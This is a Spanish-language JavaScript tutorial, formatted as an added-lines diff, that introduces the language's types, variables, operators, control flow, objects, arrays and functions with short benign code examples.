+<p>JavaScript es un lenguaje dinámico múltiparadigma con tipos y operadores, objetos estándar integrados y métodos. Su sintaxis se basa en los lenguajes Java y C — muchas estructuras de esos lenguajes también se aplican a JavaScript. JavaScript admite la programación orientada a objetos con prototipos de objetos, en lugar de clases (consulta más información sobre {{jsxref("Inheritance_and_the_prototype_chain", "herencia prototípica")}} y ES2015 {{jsxref("Reference/Classes", "clases")}}. JavaScript también admite la programación funcional — debido a que son objetos, las funciones se pueden almacenar en variables y pasarse como cualquier otro objeto.</p>
+
+<p>Comencemos observando los componentes básicos de cualquier lenguaje: los tipos. Los programas JavaScript manipulan valores, y todos esos valores pertenecen a un tipo. Los tipos de JavaScript son:</p>
+
+<ul>
+ <li>{{jsxref("Number", "Números")}}</li>
+ <li>{{jsxref("String", "Cadenas de texto (Strings)")}}</li>
+ <li>{{jsxref("Boolean", "Booleanos")}}</li>
+ <li>{{jsxref("Function", "Funciones")}}</li>
+ <li>{{jsxref("Object", "Objetos")}}</li>
+ <li>{{jsxref("Symbol", "Símbolos")}} (nuevo en ES2015)</li>
+</ul>
+
+<p>... oh, y {{jsxref("undefined")}} y {{jsxref("null")}}, que son ... ligeramente extraños. Y {{jsxref("Array")}}, que es un tipo de objeto especial. Y {{jsxref("Date", "Fechas (Date)")}} y {{jsxref("RegExp", "Expresiones regulares (RegExp)")}}, que son objetos que obtienes de forma gratuita. Y para ser técnicamente precisos, las funciones son solo un tipo especial de objeto. Por lo tanto, el diagrama de tipos se parece más a este:</p>
+
+<ul>
+ <li>{{jsxref("Number", "Números")}}</li>
+ <li>{{jsxref("String", "Cadenas de texto (Strings)")}}</li>
+ <li>{{jsxref("Boolean", "Booleanos")}}</li>
+ <li>{{jsxref("Symbol", "Símbolos")}} (nuevo en ES2015)</li>
+ <li>{{jsxref("Object", "Objetos")}}
+  <ul>
+   <li>{{jsxref("Function", "Funciones")}}</li>
+   <li>{{jsxref("Array")}}</li>
+   <li>{{jsxref("Date")}}</li>
+   <li>{{jsxref("RegExp")}}</li>
+  </ul>
+ </li>
+ <li>{{jsxref("null")}}</li>
+ <li>{{jsxref("undefined")}}</li>
+</ul>
+
+<p>Y también hay algunos tipos {{jsxref("Error")}} integrados. Sin embargo, las cosas son mucho más fáciles si nos atenemos al primer diagrama, por lo que discutiremos los tipos enumerados allí por ahora.</p>
+
+<h2 id="Números">Números</h2>
+
+<p>Los números en JavaScript son "valores IEEE 754 de formato de 64 bits de doble precisión", de acuerdo con las especificaciones. <strong><em>No existen números enteros</em></strong> en JavaScript (excepto {{jsxref("BigInt")}}), por lo que debes tener un poco de cuidado. Ve este ejemplo:</p>
+
+<pre class="syntaxbox notranslate">console.log(3 / 2);             // 1.5, <em>not</em> 1
+console.log(Math.floor(3 / 2)); // 1</pre>
+
+<p>Entonces, un <em>entero aparente</em> de hecho <em>implícitamente es un <code>float</code></em>.</p>
+
+<p>Además, ten cuidado con cosas como:</p>
+
+<pre class="brush: js notranslate">0.1 + 0.2 == 0.30000000000000004;
+</pre>
+
+<p>En la práctica, los valores enteros se tratan como enteros de 32 bits, y algunas implementaciones incluso los almacenan de esa manera hasta que se les pide que realicen una instrucción que sea válida en un Número pero no en un entero de 32 bits. Esto puede ser importante para operaciones bit a bit.</p>
+
+<p>Se admiten los {{jsxref("Operators", "operadores", "#Operadores_aritméticos")}} estándar, incluidas la aritmética de suma, resta, módulo (o resto), etc. También hay un objeto incorporado que no mencionamos anteriormente llamado {{jsxref("Math")}} que proporciona funciones matemáticas avanzadas y constantes:</p>
+
+<pre class="brush: js notranslate">Math.sin(3.5);
+var circumference = 2 * Math.PI * r;
+</pre>
+
+<p>Puedes convertir una cadena en un número entero usando la función {{jsxref("Objetos_Globales/parseInt", "parseInt()")}} incorporada. Esta toma la base para la conversión como un segundo argumento opcional, que siempre debes proporcionar:</p>
+
+<pre class="brush: js notranslate">parseInt('123', 10); // 123
+parseInt('010', 10); // 10
+</pre>
+
+<p>En los navegadores más antiguos, se supone que las cadenas que comienzan con un "0" están en octal (raíz 8), pero este no ha sido el caso desde 2013 más o menos. A menos que estés seguro de tu formato de cadena, puedes obtener resultados sorprendentes en esos navegadores más antiguos:</p>
+
+<pre class="brush: js notranslate">parseInt('010');  //  8
+parseInt('0x10'); // 16
+</pre>
+
+<p>Aquí, vemos que la función {{jsxref("Objetos_Globales/parseInt", "parseInt()")}} trata la primera cadena como octal debido al 0 inicial, y la segunda cadena como hexadecimal debido al "0x" inicial. La <em>notación hexadecimal todavía está en su lugar</em>; solo se ha eliminado el octal.</p>
+
+<p>Si deseas convertir un número binario en un entero, simplemente cambia la base:</p>
+
+<pre class="brush: js notranslate">parseInt('11', 2); // 3
+</pre>
+
+<p>De manera similar, puedes analizar números de coma flotante utilizando la función incorporada {{jsxref("Objetos_Globales/parseFloat", "parseFloat()")}}. A diferencia de su primo {{jsxref("Objetos_Globales/parseInt", "parseInt()")}}, <code>parseFloat()</code> siempre usa base 10.</p>
+
+<p>También puedes utilizar el operador <code>+</code> unario para convertir valores en números:</p>
+
+<pre class="brush: js notranslate">+ '42';   // 42
++ '010';  // 10
++ '0x10'; // 16
+</pre>
+
+<p>Se devuelve un valor especial llamado {{jsxref("NaN")}} (abreviatura de "Not a Number" o "No es un número") si la cadena no es numérica:</p>
+
+<pre class="brush: js notranslate">parseInt('hello', 10); // NaN
+</pre>
+
+<p><code>NaN</code> es tóxico: si lo proporcionas como operando para cualquier operación matemática, el resultado también será <code>NaN</code>:</p>
+
+<pre class="brush: js notranslate">NaN + 5; // NaN
+</pre>
+
+<p>Puedes probar si un valor es <code>NaN</code> utilizando la función incorporada {{jsxref("Objetos_Globales/isNaN", "isNaN()")}}:</p>
+
+<pre class="brush: js notranslate">isNaN(NaN); // true
+</pre>
+
+<p>JavaScript también tiene los valores especiales {{jsxref("Infinity")}} e <code>-Infinity</code>:</p>
+
+<pre class="brush: js notranslate"> 1 / 0; //  Infinity
+-1 / 0; // -Infinity
+</pre>
+
+<p>Puedes probar los valores <code>Infinity</code>, <code>-Infinity</code> y <code>NaN</code> utilizando la función integrada {{jsxref("Objetos_Globales/isFinite", "isFinite()")}}:</p>
+
+<pre class="brush: js notranslate">isFinite(1 / 0); // false
+isFinite(-Infinity); // false
+isFinite(NaN); // false
+</pre>
+
+<div class="note">Las funciones {{jsxref("Objetos_Globales/parseInt", "parseInt()")}} y {{jsxref("Objetos_Globales/parseFloat", "parseFloat()")}} analizan una cadena hasta que alcancen un caracter que no es válido para el formato de número especificado, luego devuelve el número analizado hasta ese punto. Sin embargo, el operador "+" simplemente convierte la cadena a <code>NaN</code> si contiene un caracter no válido. Intenta analizar la cadena "10.2abc" con cada método tú mismo en la consola y comprenderás mejor las diferencias.</div>
+
+<h2 id="Strings">Strings)</h2>
+
+<p>Las cadenas en JavaScript son secuencias de <a href="/es/docs/Web/JavaScript/Guide/Values,_variables,_and_literals#Unicode">caracteres Unicode</a>. Esta debería ser una buena noticia para cualquiera que haya tenido que lidiar con la internacionalización. Exactamente, son secuencias de unidades de código UTF-16; cada unidad de código está representada por un número de 16 bits. Cada caracter Unicode está representado por 1 o 2 unidades de código.</p>
+
+<p>Si deseas representar un solo caracter, simplemente usa una cadena que consta de ese único caracter.</p>
+
+<p>Para encontrar la longitud de una cadena (en unidades de código), accede a su propiedad {{jsxref("Objetos_Globales/String/length", "lenght")}}:</p>
+
+<pre class="brush: js notranslate">'hello'.length; // 5
+</pre>
+
+<p>¡Aquí está nuestra primer pincelada con objetos JavaScript! ¿Mencionamos que también puedes usar cadenas como {{jsxref("Object", "objectos", "", 1)}}? También tienen {{jsxref("String", "métodos", "#Métodos", 1)}} que te permiten manipular la cadena y acceder a información sobre la cadena:</p>
+
+<pre class="brush: js notranslate">'hello'.charAt(0); // "h"
+'hello, world'.replace('world', 'mars'); // "hello, mars"
+'hello'.toUpperCase(); // "HELLO"
+</pre>
+
+<h2 id="Otros_tipos">Otros tipos</h2>
+
+<p>JavaScript distingue entre {{jsxref("null")}}, que es un valor que indica un no valor deliberado (y solo se puede acceder a él mediante la palabra clave <code>null</code>), y {{jsxref("undefined")}}, que es un valor de tipo <code>undefined</code> que indica una variable no iniciada es decir, que aún no se le ha asignado un valor. Hablaremos de variables más adelante, pero en JavaScript es posible declarar una variable sin asignarle un valor. Si hace esto, el tipo de la variable es <code>undefined</code>. <code>undefined</code> en realidad es una constante.</p>
+
+<p>JavaScript tiene un tipo booleano, con valores posibles <code>true</code> y <code>false</code> (ambos son palabras clave). Cualquier valor se puede convertir a booleano de acuerdo con las siguientes reglas:</p>
+
+<ol>
+ <li><code>false</code>, <code>0</code>, cadenas vacías (<code>""</code>), <code>NaN</code>, <code>null</code>, y <code>undefined</code> todos se vuelven <code>false.</code></li>
+ <li>Todos los demás valores se vuelven <code>true.</code></li>
+</ol>
+
+<p>Puedes realizar esta conversión explícitamente utilizando la función <code>Boolean()</code>:</p>
+
+<pre class="brush: js notranslate">Boolean('');  // false
+Boolean(234); // true
+</pre>
+
+<p>Sin embargo, esto rara vez es necesario, ya que JavaScript realizará silenciosamente esta conversión cuando espera un booleano, como en una declaración <code>if</code> (ve más adelante). Por esta razón, a veces hablamos simplemente de "valores verdaderos" y "valores falsos", es decir, valores que se convierten en <code>true</code> y <code>false</code>, respectivamente, cuando se convierten en booleanos. Alternativamente, estos valores se pueden llamar "veracidad" y "falsedad", respectivamente.</p>
+
+<p>Operaciones booleanas como <code>&amp;&amp;</code> (<em>and</em> lógico), <code>||</code> (<em>or</em> lógico) y <code>!</code> (<em>not</em> lógico) son compatibles; ve más adelante.</p>
+
+<h2 id="Variables">Variables</h2>
+
+<p>Las nuevas variables en JavaScript se declaran utilizando una de tres palabras clave: {{jsxref("Sentencias/let", "let")}}, {{jsxref("Sentencias/const", "const")}} o {{jsxref("Sentencias/var", "var")}}.<br>
+ <br>
+ <strong><code>let</code></strong> te permite declarar variables a nivel de bloque. La variable declarada está disponible en el <em>bloque</em> en el que está incluida.</p>
+
+<pre class="brush: js notranslate">let a;
+let name = 'Simon';
+</pre>
+
+<p>El siguiente es un ejemplo de alcance con una variable declarada con <code><strong>let</strong></code>:</p>
+
+<pre class="brush: js notranslate">// myLetVariable *no* es visible aquí
+
+for (let myLetVariable = 0; myLetVariable &lt; 5; myLetVariable++) {
+  // myLetVariable solo es visible aquí
+}
+
+// myLetVariable *no* es visible aquí
+
+</pre>
+
+<p><code><strong>const</strong></code> te permite declarar variables cuyos valores pretendes nunca cambiar. La variable está disponible en el <em>bloque</em> en el que se declara.</p>
+
+<pre class="brush: js notranslate">const Pi = 3.14; // establece la variable Pi
+Pi = 1; // arrojará un error porque no puede cambiar una variable constante.</pre>
+
+<p><br>
+ <code><strong>var</strong></code> es la palabra clave declarativa más común. No tiene las restricciones que tienen las otras dos palabras clave. Esto se debe a que tradicionalmente era la única forma de declarar una variable en JavaScript. Una variable declarada con la palabra clave <strong><code>var</code></strong> está disponible en la <em>función</em> en la que se declara.</p>
+
+<pre class="brush: js notranslate">var a;
+var name = 'Simon';</pre>
+
+<p>Un ejemplo de ámbito con una variable declarada con <strong><code>var</code>:</strong></p>
+
+<pre class="brush: js notranslate">// myVarVariable *es* visible aquí
+
+for (var myVarVariable = 0; myVarVariable &lt; 5; myVarVariable++) {
+  // myVarVariable es visible para toda la función
+}
+
+// myVarVariable *es* visible aquí
+</pre>
+
+<p>Si declaras una variable sin asignarle ningún valor, su tipo es <code>undefined</code>.</p>
+
+<p>Una diferencia importante entre JavaScript y otros lenguajes como Java es que en JavaScript, los bloques no tienen alcance; solo las funciones tienen alcance. Entonces, si una variable se define usando <code>var</code> en una declaración compuesta (por ejemplo, dentro de una estructura de control <code>if</code>), será visible para toda la función. Sin embargo, a partir de ECMAScript 2015, las declaraciones {{jsxref("Sentencias/let", "let")}} y {{jsxref("Sentencias/const", "const")}} te permiten crear variables con alcance de bloque.</p>
+
+<h2 id="Operadores">Operadores</h2>
+
+<p>Los operadores numéricos de JavaScript son <code>+</code>, <code>-</code>, <code>*</code>, <code>/</code> y <code>%</code> que es el operador de residuo o resto (<a href="/es/docs/Web/JavaScript/Reference/Operators/Arithmetic_Operators#Remainder_%28%29">que es lo mismo que módulo</a>). Los valores se asignan usando <code>=</code>, y también hay declaraciones de asignación compuestas como <code>+=</code> y <code>-=</code>. Estas se extienden hasta <code>x = x <em>operador</em> y</code>.</p>
+
+<pre class="brush: js notranslate">x += 5;
+x = x + 5;
+</pre>
+
+<p>Puedes usar <code>++</code> y <code>--</code> para incrementar y disminuir respectivamente. Estos se pueden utilizar como operadores prefijos o sufijos.</p>
+
+<p>El <a href="/es/docs/Web/JavaScript/Reference/Operators/Arithmetic_Operators#Addition" title="/es/JavaScript/Reference/Operators/String_Operators">operador <code>+</code></a> también hace concatenación de cadenas:</p>
+
+<pre class="brush: js notranslate">'hello' + ' world'; // "hello world"
+</pre>
+
+<p>Si agregas una cadena a un número (u otro valor), todo se convierte primero en cadena. Esto podría hacerte tropezar:</p>
+
+<pre class="brush: js notranslate">'3' + 4 + 5;  // "345"
+ 3 + 4 + '5'; // "75"
+</pre>
+
+<p>Agregar una cadena vacía a algo es una forma útil de convertirla en cadena.</p>
+
+<p><a href="/es/docs/Web/JavaScript/Reference/Operators/Comparison_Operators" title="/es/JavaScript/Reference/Operators/Comparison_Operators">Se pueden realizar comparaciones</a> en JavaScript utilizando <code>&lt;</code>, <code>&gt;</code>, <code>&lt;=</code> y <code>&gt;=</code>. Estas funcionan tanto para cadenas como para números. La igualdad es un poco menos sencilla. El operador doble-igual realiza la coerción de tipos si le das diferentes tipos, con resultados a veces interesantes:</p>
+
+<pre class="brush: js notranslate">123 == '123'; // true
+1 == true; // true
+</pre>
+
+<p>Para evitar la coerción de tipos, usa el operador triple-igual:</p>
+
+<pre class="brush: js notranslate">123 === '123'; // false
+1 === true;    // false
+</pre>
+
+<p>También hay operadores <code>!=</code> y <code>!==</code>.</p>
+
+<p>JavaScript también tiene <a href="/es/docs/Web/JavaScript/Reference/Operators/Bitwise_Operators" title="/es/JavaScript/Reference/Operators/Bitwise_Operators">operaciones bit a bit</a>. Si quieres usarlas, ahí están.</p>
+
+<h2 id="Estructuras_de_control">Estructuras de control</h2>
+
+<p>JavaScript tiene un conjunto de estructuras de control similar a otros lenguajes de la familia C. Las declaraciones condicionales son compatibles con <code>if</code> y <code>else</code>; las puedes encadenarlas si lo deseas:</p>
+
+<pre class="brush: js notranslate">var name = 'kittens';
+if (name == 'puppies') {
+  name += ' woof';
+} else if (name == 'kittens') {
+  name += ' meow';
+} else {
+  name += '!';
+}
+name == 'kittens meow';
+</pre>
+
+<p>JavaScript tiene bucles <code>while</code> y bucles <code>do-while</code>. El primero es bueno para bucles básicos; el segundo bucle para donde deseas asegurarte de que el cuerpo del bucle se ejecute por lo menos una vez:</p>
+
+<pre class="brush: js notranslate">while (true) {
+  // ¡un bucle infinito!
+}
+
+var input;
+do {
+  input = get_input();
+} while (inputIsNotValid(input));
+</pre>
+
+<p>El <a href="/es/docs/Web/JavaScript/Reference/Statements/for">bucle <code>for</code></a> de JavaScript es igual que el de C y Java: te permite proporcione la información de control para tu bucle en una sola línea.</p>
+
+<pre class="brush: js notranslate">for (var i = 0; i &lt; 5; i++) {
+  // Se ejecutará 5 veces
+}
+</pre>
+
+<p>JavaScript también contiene otros dos bucles <code>for</code> destacados: <a href="/en-US/docs/Web/JavaScript/Reference/Statements/for...of"><code>for</code>...<code>of</code></a></p>
+
+<pre class="brush: js notranslate">for (let value of array) {
+  // haz algo con valor
+}
+</pre>
+
+<p>y <a href="/es/docs/Web/JavaScript/Reference/Statements/for...in"><code>for</code>...<code>in</code></a>:</p>
+
+<pre class="brush: js notranslate">for (let property in object) {
+  // hacer algo con la propiedad del objeto
+}
+</pre>
+
+<p>Los operadores <code>&amp;&amp;</code> y <code>||</code> utilizan lógica de cortocircuito, lo cual significa que si ejecutarán su segundo operando depende del primero. Esto es útil para verificar objetos nulos antes de acceder a sus atributos:</p>
+
+<pre class="brush: js notranslate">var name = o &amp;&amp; o.getName();
+</pre>
+
+<p>O para almacenar en caché los valores (cuando los valores falsos no son válidos):</p>
+
+<pre class="brush: js notranslate">var name = cachedName || (cachedName = getName());
+</pre>
+
+<p>JavaScript tiene un operador ternario para expresiones condicionales:</p>
+
+<pre class="brush: js notranslate">var allowed = (age &gt; 18) ? 'yes' : 'no';
+</pre>
+
+<p>La instrucción <code>switch</code> se puede usar para múltiples ramas según un número o cadena:</p>
+
+<pre class="brush: js notranslate">switch (action) {
+  case 'draw':
+    drawIt();
+    break;
+  case 'eat':
+    eatIt();
+    break;
+  default:
+    doNothing();
+}
+</pre>
+
+<p>Si no agregas una instrucción <code>break</code>, la ejecución "caerá" al siguiente nivel. Esto muy rara vez es lo que deseas; de hecho, vale la pena etiquetar específicamente la caída deliberada con un comentario si realmente lo pretendías para ayudar a la depuración:</p>
+
+<pre class="brush: js notranslate">switch (a) {
+  case 1: // caída deliberada
+  case 2:
+    eatIt();
+    break;
+  default:
+    doNothing();
+}
+</pre>
+
+<p>La cláusula <code>default</code> es opcional. Puedes tener expresiones tanto en la parte del switch como en los casos si lo deseas; las comparaciones tienen lugar entre los dos utilizando el operador <code>===</code>:</p>
+
+<pre class="brush: js notranslate">switch (1 + 3) {
+  case 2 + 2:
+    yay();
+    break;
+  default:
+    neverhappens();
+}
+</pre>
+
+<h2 id="Objetos">Objetos</h2>
+
+<p>Los objetos de JavaScript se pueden considerar como simples colecciones de pares nombre-valor. Como tal, son similares a:</p>
+
+<ul>
+ <li>Diccionarios en Python.</li>
+ <li>Hashes en Perl y Ruby.</li>
+ <li>Tablas hash en C y C++.</li>
+ <li>HashMaps en Java.</li>
+ <li>Arreglos asociativas en PHP.</li>
+</ul>
+
+<p>El hecho de que esta estructura de datos se utilice tan ampliamente es un testimonio de su versatilidad. Dado que todo (el núcleo, tipos bar) en JavaScript es un objeto, cualquier programa de JavaScript implica naturalmente una gran cantidad de búsquedas en tablas hash. ¡Qué bueno que sean tan rápidas!</p>
+
+<p>La parte "name" es una cadena JavaScript, mientras que el valor puede ser cualquier valor de JavaScript, incluidos más objetos. Esto te permite construir estructuras de datos de complejidad arbitraria.</p>
+
+<p>Hay dos formas básicas de crear un objeto vacío:</p>
+
+<pre class="brush: js notranslate">var obj = new Object();
+</pre>
+
+<p>Y:</p>
+
+<pre class="brush: js notranslate">var obj = {};
+</pre>
+
+<p>Estas son semánticamente equivalentes; la segunda se llama sintaxis literal de objeto y es más conveniente. Esta sintaxis también es el núcleo del formato JSON y se debe preferir en todo momento.</p>
+
+<p>La sintaxis de objeto literal se puede utilizar para iniciar un objeto en su totalidad:</p>
+
+<pre class="brush: js notranslate">var obj = {
+  name: 'Carrot',
+  for: 'Max', // 'for' es una palabra reservada, use '_for' en su lugar.
+  details: {
+    color: 'orange',
+    size: 12
+  }
+};
+</pre>
+
+<p>El acceso a los atributos se puede encadenar:</p>
+
+<pre class="brush: js notranslate">obj.details.color; // orange
+obj['details']['size']; // 12
+</pre>
+
+<p>El siguiente ejemplo crea un prototipo de objeto (<code>Person</code>) y una instancia de ese prototipo (<code>you</code>).</p>
+
+<pre class="brush: js notranslate">function Person(name, age) {
+  this.name = name;
+  this.age = age;
+}
+
+// Define un objeto
+var you = new Person('You', 24);
+// Estamos creando una nueva persona llamada "You" de 24 años.
+
+</pre>
+
+<p><strong>Una vez creado</strong>, se puede volver a acceder a las propiedades de un objeto de dos formas:</p>
+
+<pre class="brush: js notranslate">// notación de puntos
+obj.name = 'Simon';
+var name = obj.name;
+</pre>
+
+<p>Y...</p>
+
+<pre class="brush: js notranslate">// notación de corchetes
+obj['name'] = 'Simon';
+var name = obj['name'];
+// puedes usar una variable para definir una clave
+var user = prompt('¿cuál es su clave?')
+obj[user] = prompt('¿cuál es su valor?')
+</pre>
+
+<p>Estas también son semánticamente equivalentes. El segundo método tiene la ventaja de que el nombre de la propiedad se proporciona como una cadena, lo cual significa que se puede calcular en tiempo de ejecución. Sin embargo, el uso de este método evita que se apliquen algunas optimizaciones de minificación y del motor de JavaScript. También se puede utilizar para establecer y obtener propiedades con nombres <a href="/es/docs/Web/JavaScript/Reference/Lexical_grammar#Keywords" title="/es/JavaScript/Reference/Reserved_Words">palabras reservadas</a>:</p>
+
+<pre class="brush: js notranslate">obj.for = 'Simon'; // Error de sintaxis, porque 'for' es una palabra reservada
+obj['for'] = 'Simon'; // trabaja bien
+</pre>
+
+<div class="note">
+<p>A partir de ECMAScript 5, las palabras reservadas se pueden utilizar como nombres de propiedad de objeto "en bruto". Esto significa que no necesitan "vestirse" entre comillas al definir objeto literales. Consulta la <a href="http://es5.github.io/#x7.6.1"> especificación</a> de ES5.</p>
+</div>
+
+<p>Para obtener más información sobre objetos y prototipos, consulta {{jsxref("Objetos_Globales/Object/prototype", "Object.prototype")}}. Para obtener una explicación de los prototipos de objetos y las cadenas de prototipos de objetos, consulta <a href="/es/docs/Web/JavaScript/Inheritance_and_the_prototype_chain">Herencia y la cadena de prototipos</a>.</p>
+
+<div class="note">
+<p>A partir de ECMAScript 2015, las claves de objeto se pueden definir mediante la variable en notación de corchetes al crearlas. <code>{[phoneType]: 12345}</code> es posible en lugar de solo <code>var userPhone = {}; userPhone[phoneType] = 12345</code>.</p>
+</div>
+
+<h2 id="Arreglos">Arreglos</h2>
+
+<p>Los arreglos en JavaScript en son realidad un tipo especial de objeto. Funcionan de manera muy parecida a los objetos normales (las propiedades numéricas se pueden acceder naturalmente solo usando la sintaxis <code>[]</code>) pero tienen una propiedad mágica llamada '<code>length</code>'. Este siempre es uno más que el índice más alto de el arreglo.</p>
+
+<p>Una forma de crear arreglos es la siguiente:</p>
+
+<pre class="brush: js notranslate">var a = new Array();
+a[0] = 'dog';
+a[1] = 'cat';
+a[2] = 'hen';
+a.length; // 3
+</pre>
+
+<p>Una notación más conveniente es usar un arreglo literal:</p>
+
+<pre class="brush: js notranslate">var a = ['dog', 'cat', 'hen'];
+a.length; // 3
+</pre>
+
+<p>Ten en cuenta que <code>array.length</code> no necesariamente es el número de elementos del arreglo. Considera lo siguiente:</p>
+
+<pre class="brush: js notranslate">var a = ['dog', 'cat', 'hen'];
+a[100] = 'fox';
+a.length; // 101
+</pre>
+
+<p>Recuerda — la longitud de el arreglo es uno más que el índice más alto.</p>
+
+<p>Si consultas un índice de arreglo que no existe, obtendrás un valor de <code>undefined</code>:</p>
+
+<pre class="brush: js notranslate">typeof a[90]; // undefined
+</pre>
+
+<p>Si tienes en cuenta lo anterior sobre <code>[]</code> y <code>length</code>, puedes iterar sobre un arreglo utilizando el siguiente bucle <code>for</code>:</p>
+
+<pre class="brush: js notranslate">for (var i = 0; i &lt; a.length; i++) {
+  // Haz algo con a[i]
+}
+</pre>
+
+<p>ES2015 introdujo el bucle más conciso <a href="/es/docs/Web/JavaScript/Reference/Statements/for...of"><code>for</code>...<code>of</code></a> para objetos iterables como arreglos:</p>
+
+<pre class="brush:js notranslate">for (const currentValue of a) {
+  // Haz algo con currentValue
+}</pre>
+
+<p>También puedes iterar sobre un arreglo utilizando el bucle <a href="/es/docs/Web/JavaScript/Reference/Statements/for...in" title="/es/JavaScript/Reference/Statements/for...in"><code>for</code>...<code>in</code></a>, sin embargo, este no itera sobre los elementos del arreglo, sino los índices del arreglo. Además, si alguien agrega nuevas propiedades a <code>Array.prototype</code>, también serán iteradas por dicho bucle. Por lo tanto, este tipo de bucle no se recomienda para arreglos.</p>
+
+<p>Otra forma de iterar sobre un arreglo que se agregó con ECMAScript 5 es {{jsxref("Objetos_Globales/Array/forEach", "arr.forEach()")}}:</p>
+
+<pre class="brush: js notranslate">['dog', 'cat', 'hen'].forEach(function(currentValue, index, array) {
+  // Hacer algo con currentValue o array[index]
+});
+</pre>
+
+<p>Si deseas agregar un elemento a un arreglo, simplemente hazlo así:</p>
+
+<pre class="brush: js notranslate">a.push(item);</pre>
+
+<p>Los arreglos vienen con varios métodos. Consulta también la {{jsxref("Objetos_Globales/Array", "documentación completa para métodos de arreglo")}}.</p>
+
+<table>
+ <thead>
+  <tr>
+   <th scope="col">Nombre del método</th>
+   <th scope="col">Descripción</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>a.toString()</code></td>
+   <td>Devuelve una cadena con el <code>toString()</code> de cada elemento separado por comas.</td>
+  </tr>
+  <tr>
+   <td><code>a.toLocaleString()</code></td>
+   <td>Devuelve una cadena con el <code>toLocaleString()</code> de cada elemento separado por comas.</td>
+  </tr>
+  <tr>
+   <td><code>a.concat(item1[, item2[, ...[, itemN]]])</code></td>
+   <td>Devuelve un nuevo arreglo con los elementos agregados.</td>
+  </tr>
+  <tr>
+   <td><code>a.join(sep)</code></td>
+   <td>Convierte el arreglo en una cadena, con valores delimitados por el parámetro <code>sep</code></td>
+  </tr>
+  <tr>
+   <td><code>a.pop()</code></td>
+   <td>Elimina y devuelve el último elemento.</td>
+  </tr>
+  <tr>
+   <td><code>a.push(item1, ..., itemN)</code></td>
+   <td>Agrega elementos al final del arreglo.</td>
+  </tr>
+  <tr>
+   <td><code>a.shift()</code></td>
+   <td>Elimina y devuelve el primer elemento.</td>
+  </tr>
+  <tr>
+   <td><code>a.unshift(item1[, item2[, ...[, itemN]]])</code></td>
+   <td>Añade elementos al inicio del arreglo.</td>
+  </tr>
+  <tr>
+   <td><code>a.slice(start[, end])</code></td>
+   <td>Devuelve un subarreglo.</td>
+  </tr>
+  <tr>
+   <td><code>a.sort([cmpfn])</code></td>
+   <td>Toma una función de comparación opcional.</td>
+  </tr>
+  <tr>
+   <td><code>a.splice(start, delcount[, item1[, ...[, itemN]]])</code></td>
+   <td>Te permite modificar un arreglo eliminando una sección y reemplazándola con más elementos.</td>
+  </tr>
+  <tr>
+   <td><code>a.reverse()</code></td>
+   <td>Invierte el arreglo.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Funciones">Funciones</h2>
+
+<p>Junto con los objetos, las funciones son el componente principal para comprender JavaScript. La función más básica no podría ser mucho más sencilla:</p>
+
+<pre class="brush: js notranslate">function add(x, y) {
+  var total = x + y;
+  return total;
+}
+</pre>
+
+<p>Esto demuestra una función básica. Una función de JavaScript puede tomar 0 o más parámetros con nombre. El cuerpo de la función puede contener tantas declaraciones como desees y puedes declarar tus propias variables que son locales para esa función. La declaración <code>return</code> se puede usar para devolver un valor en cualquier momento, terminando la función. Si no se utiliza una declaración <code>return</code> (o <code>return</code> vacía sin valor), JavaScript devuelve <code>undefined</code>.</p>
+
+<p>Los parámetros nombrados resultan ser más intuitivos que cualquier otra cosa. Puedes llamar a una función sin pasar los parámetros que espera, en cuyo caso se establecerán en <code>undefined</code>.</p>
+
+<pre class="brush: js notranslate">add(); // NaN
+// No puedes realizar sumas en undefined
+</pre>
+
+<p>También puedes pasar más argumentos de los que espera la función:</p>
+
+<pre class="brush: js notranslate">add(2, 3, 4); // 5
+// sumó los dos primeros; el 4 fue ignorado
+</pre>
+
+<p>Eso puede parecer un poco tonto, pero las funciones tienen acceso a una variable adicional dentro de su cuerpo llamada <a href="/es/docs/Web/JavaScript/Reference/Functions/argument" title="/es/JavaScript/Reference/Functions_and_function_scope/arguments"><code>argumentos</code></a>, que es un objeto tipo arreglo que contiene todos los valores pasados a la función. Reescribamos la función de suma para tomar tantos valores como queramos:</p>
+
+<pre class="brush: js notranslate">function add() {
+  var sum = 0;
+  for (var i = 0, j = arguments.length; i &lt; j; i++) {
+    sum += arguments[i];
+  }
+  return sum;
+}
+
+add(2, 3, 4, 5); // 14
+</pre>
+
+<p>Sin embargo, eso no es más útil que escribir <code>2 + 3 + 4 + 5</code>. Creemos una función de promedio:</p>
+
+<pre class="brush: js notranslate">function avg() {
+  var sum = 0;
+  for (var i = 0, j = arguments.length; i &lt; j; i++) {
+    sum += arguments[i];
+  }
+  return sum / arguments.length;
+}
+
+avg(2, 3, 4, 5); // 3.5
+</pre>
+
+<p>Esta es bastante útil, pero parece un poco detallada. Para reducir un poco más este código, podemos considerar la sustitución del uso del arreglo de argumentos a través de la <a href="/es/docs/Web/JavaScript/Reference/Functions/rest_parameters">sintaxis del parámetro <code>Rest</code></a>. De esta manera, podemos pasar cualquier número de argumentos a la función manteniendo nuestro código mínimo. El <strong>operador de parámetro <code>rest</code></strong> se usa en listas de parámetros de función con el formato: <strong>...variable</strong> e incluirá dentro de esa variable la lista completa de argumentos no capturados a los que se llamó la función. <code>with</code>. También reemplazaremos el bucle <strong>for</strong> con un bucle <strong>for...of</strong> para devolver los valores dentro de nuestra variable.</p>
+
+<pre class="brush: js notranslate">function avg(...args) {
+  var sum = 0;
+  for (let value of args) {
+    sum += value;
+  }
+  return sum / args.length;
+}
+
+avg(2, 3, 4, 5); // 3.5
+</pre>
+
+<div class="note">En el código anterior, la variable <strong>args</strong> contiene todos los valores que se pasaron a la función.<br>
+<br>
+Es importante tener en cuenta que dondequiera que se coloque el operador de parámetro <code>rest</code> en una declaración de función, almacenará todos los argumentos <em>después</em> de su declaración, pero no antes. <em>es decir, function</em> <em>avg(</em><strong>firstValue, </strong><em>...args)</em> almacenará el primer valor pasado a la función en la variable <strong>firstValue</strong> y los argumentos restantes en <strong>args</strong>. Esa es otra característica útil del lenguaje, pero nos lleva a un nuevo problema. La función <code>avg() </code> toma una lista de argumentos separados por comas, pero ¿qué sucede si deseas encontrar el promedio de un arreglo? Simplemente, podrías reescribir la función de la siguiente manera:</div>
+
+<pre class="brush: js notranslate">function avgArray(arr) {
+  var sum = 0;
+  for (var i = 0, j = arr.length; i &lt; j; i++) {
+    sum += arr[i];
+  }
+  return sum / arr.length;
+}
+
+avgArray([2, 3, 4, 5]); // 3.5
+</pre>
+
